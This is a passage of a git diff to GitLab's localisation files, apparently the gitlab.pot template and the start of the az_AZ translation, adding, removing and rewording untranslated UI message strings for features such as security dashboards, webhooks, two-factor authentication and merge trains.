@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/az_AZ/gitlab.po b/locale/az_AZ/gitlab.po
index 7ff4d439a42..e462330f7c1 100644
--- a/locale/az_AZ/gitlab.po
+++ b/locale/az_AZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: az\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:39\n"
+"PO-Revision-Date: 2020-09-04 23:03\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
